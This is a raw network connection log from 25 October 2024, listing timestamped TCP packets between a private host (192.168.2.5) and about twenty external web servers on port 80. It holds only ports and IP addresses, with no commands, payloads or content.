Oct 25, 2024 11:18:05.812762976 CEST	80	52787	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:05.869719028 CEST	80	52578	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:05.869817972 CEST	52578	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:06.370141983 CEST	80	52780	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:06.372255087 CEST	52780	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:06.384375095 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.390409946 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.390506983 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.402715921 CEST	80	52784	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:06.404067039 CEST	52784	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:06.412013054 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.412059069 CEST	52795	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:06.412683010 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.412787914 CEST	52797	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:06.413167000 CEST	52798	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:06.413258076 CEST	52799	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.413646936 CEST	52800	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:06.413820982 CEST	52801	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:06.414622068 CEST	52802	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:06.415308952 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.416591883 CEST	52780	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:06.417767048 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.417850971 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.417983055 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.418128967 CEST	80	52795	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:06.418210983 CEST	52795	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:06.418284893 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:06.418344975 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.418401003 CEST	80	52797	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:06.418466091 CEST	52797	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:06.418493032 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.418591022 CEST	52797	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:06.418628931 CEST	52795	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:06.418667078 CEST	80	52798	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:06.418720007 CEST	52798	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:06.419044018 CEST	80	52799	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:06.419106960 CEST	52799	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.419197083 CEST	80	52800	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:06.419203043 CEST	52799	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.419248104 CEST	52800	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:06.419265032 CEST	80	52801	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:06.419323921 CEST	52801	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:06.419408083 CEST	52800	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:06.419445038 CEST	52801	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:06.420042038 CEST	80	52802	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:06.421648026 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.421705008 CEST	52802	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:06.421817064 CEST	52802	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:06.421947956 CEST	52798	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:06.422259092 CEST	80	52780	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:06.423592091 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.423947096 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:06.424237013 CEST	80	52797	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:06.424618006 CEST	80	52795	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:06.424843073 CEST	80	52799	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:06.424988031 CEST	80	52800	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:06.425051928 CEST	80	52801	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:06.427690983 CEST	80	52802	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:06.428235054 CEST	80	52798	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:06.432360888 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:06.432418108 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.440705061 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.441210032 CEST	52784	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:06.446297884 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:06.447715998 CEST	80	52784	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:06.451620102 CEST	80	52785	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:06.451670885 CEST	52785	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.458923101 CEST	80	52786	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:06.458986998 CEST	52786	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:06.479743958 CEST	52786	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:06.480159998 CEST	80	52785	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:06.480283022 CEST	52785	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.480365038 CEST	52785	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.485369921 CEST	80	52786	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:06.486763954 CEST	80	52785	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:06.503695011 CEST	52804	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.509445906 CEST	80	52804	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:06.509510040 CEST	52804	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.509671926 CEST	52804	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:06.515108109 CEST	80	52804	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:06.571887970 CEST	80	52780	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:06.572069883 CEST	52780	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:06.572463036 CEST	80	52784	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:06.572524071 CEST	52784	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:06.582245111 CEST	80	52758	173.254.28.29	192.168.2.5
Oct 25, 2024 11:18:06.582308054 CEST	52758	80	192.168.2.5	173.254.28.29
Oct 25, 2024 11:18:06.610682964 CEST	80	52787	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:06.610743999 CEST	52787	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:06.636610985 CEST	80	52789	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:06.636671066 CEST	52789	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:06.638848066 CEST	80	52786	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:06.638988972 CEST	52786	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:06.654541969 CEST	52789	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:06.660701990 CEST	80	52789	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:06.660883904 CEST	52789	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:06.663233995 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663286924 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663336992 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663310051 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.663429976 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.663429976 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.663522005 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663557053 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663599968 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.663606882 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663676977 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663712025 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663722038 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.663744926 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663779974 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.663789988 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.663820982 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.668987036 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.669024944 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.669049025 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.669112921 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.680474043 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:06.680531979 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.688386917 CEST	52787	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:06.693124056 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693157911 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693181992 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.693192959 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693197012 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.693228006 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693262100 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693274975 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.693295956 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693306923 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.693331957 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693336010 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.693365097 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693398952 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693408012 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.693432093 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.693475008 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.693788052 CEST	80	52787	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:06.705161095 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.705471992 CEST	52546	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:06.705729961 CEST	52805	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:06.710644960 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:06.711563110 CEST	80	52805	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:06.711628914 CEST	52805	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:06.712027073 CEST	80	52546	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:06.712132931 CEST	52546	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:06.713614941 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:06.713876963 CEST	52806	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:06.714075089 CEST	52805	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:06.717443943 CEST	52541	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:06.717716932 CEST	52808	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:06.719086885 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:06.719686985 CEST	80	52806	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:06.719715118 CEST	80	52805	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:06.719780922 CEST	52806	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:06.719913960 CEST	52806	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:06.723387957 CEST	80	52808	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:06.723417997 CEST	80	52541	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:06.723459959 CEST	52808	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:06.723476887 CEST	52541	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:06.723654985 CEST	52808	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:06.723880053 CEST	52544	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:06.724164009 CEST	52809	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:06.725331068 CEST	80	52806	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:06.729850054 CEST	80	52808	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:06.729880095 CEST	80	52809	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:06.730364084 CEST	52809	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:06.730595112 CEST	52809	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:06.731215000 CEST	80	52544	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:06.731286049 CEST	52544	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:06.736088991 CEST	80	52809	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:06.810003996 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810059071 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810091019 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810101986 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.810126066 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810159922 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810204983 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.810233116 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.810234070 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810286045 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810319901 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810350895 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.810352087 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810404062 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810415030 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.810436964 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810468912 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.810471058 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810503960 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810538054 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810544968 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.810568094 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.810595989 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.810667038 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.838470936 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.838687897 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.838722944 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.838723898 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.838758945 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.838759899 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.838781118 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.838884115 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.838897943 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.838917971 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.838932991 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.838953972 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:06.838985920 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.839006901 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:06.921382904 CEST	80	52787	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:06.921513081 CEST	52787	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:06.947803974 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:06.947949886 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.952260017 CEST	52563	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:06.952636957 CEST	52811	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:06.953195095 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.953250885 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.953285933 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.953298092 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.953299046 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.953377962 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.953630924 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.953665018 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:06.953695059 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.953716040 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:06.955326080 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:06.961182117 CEST	80	52811	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:06.961213112 CEST	80	52563	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:06.961256981 CEST	52811	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:06.961285114 CEST	52563	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:06.962433100 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.009701014 CEST	52811	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:07.016263008 CEST	80	52811	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:07.033277988 CEST	80	52800	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:07.033390045 CEST	52800	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:07.077580929 CEST	80	52802	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:07.077636003 CEST	52802	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:07.112875938 CEST	80	52799	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.113020897 CEST	52799	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.119561911 CEST	80	52798	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:07.119627953 CEST	52798	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:07.140000105 CEST	80	52799	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.140057087 CEST	52799	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.146866083 CEST	52799	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.149564981 CEST	52800	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:07.153706074 CEST	80	52799	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.155687094 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.155744076 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.156733990 CEST	80	52800	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:07.163132906 CEST	52802	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:07.170640945 CEST	80	52802	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:07.182723999 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.185571909 CEST	52798	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:07.185966015 CEST	52814	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.190211058 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.193794966 CEST	80	52798	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:07.193830967 CEST	80	52814	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.193891048 CEST	52814	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.196921110 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.196974993 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.199491978 CEST	52814	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.200297117 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.206449986 CEST	80	52814	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.206482887 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.214296103 CEST	52815	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:07.215589046 CEST	80	52804	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.215661049 CEST	52804	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.221033096 CEST	80	52815	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:07.221117973 CEST	52815	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:07.228864908 CEST	52815	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:07.234848976 CEST	80	52815	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:07.244400024 CEST	80	52804	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.244513988 CEST	52804	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.251390934 CEST	80	52801	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:07.251456976 CEST	52801	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:07.258390903 CEST	80	52797	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:07.260078907 CEST	52797	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:07.263679028 CEST	52804	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.271498919 CEST	80	52804	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.279362917 CEST	80	52800	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:07.279464960 CEST	52800	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:07.289514065 CEST	52797	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:07.295384884 CEST	80	52797	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:07.295449972 CEST	52797	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:07.308317900 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308387995 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308397055 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.308438063 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308474064 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308525085 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308525085 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.308525085 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.308561087 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308588028 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.308594942 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308609962 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.308631897 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308665991 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308691978 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.308703899 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.308720112 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.308762074 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.313093901 CEST	80	52802	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:07.313409090 CEST	52802	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:07.314285040 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.314346075 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.314440012 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.314553022 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.331065893 CEST	52801	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:07.333379030 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333435059 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333468914 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333473921 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333502054 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333538055 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333549023 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333549023 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333549023 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333570004 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333581924 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333606005 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333620071 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333637953 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333673000 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333687067 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333707094 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.333718061 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333755970 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.333774090 CEST	80	52808	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:07.333826065 CEST	80	52808	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:07.333831072 CEST	52808	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:07.333859921 CEST	80	52808	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:07.333874941 CEST	52808	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:07.333894968 CEST	80	52808	104.26.7.221	192.168.2.5
